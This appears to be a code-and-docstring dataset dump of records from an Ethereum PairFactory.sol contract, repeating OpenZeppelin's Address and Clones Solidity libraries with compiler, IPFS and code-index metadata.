functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionStaticCall
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 5291, 5495 ] }
3,651
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionStaticCall
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 5682, 6109 ] }
3,652
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionDelegateCall
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 6291, 6496 ] }
3,653
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
functionDelegateCall
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 6685, 7113 ] }
3,654
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Clones
library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } }
clone
function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); }
/** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 212, 782 ] }
3,655
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Clones
library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } }
cloneDeterministic
function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); }
/** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 1145, 1750 ] }
3,656
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Clones
library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } }
predictDeterministicAddress
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } }
/** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */
NatSpecMultiLine
v0.8.6+commit.11564f7e
None
ipfs://4d03a265a12ba81c0f5a175a2642e8e9fa5be73fda205ebdaf6e808e4fd675db
{ "func_code_index": [ 1860, 2591 ] }
3,657
PairFactory
PairFactory.sol
0x23b74796b72f995e14a5e3ff2156dad9653256cf
Solidity
Clones
library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 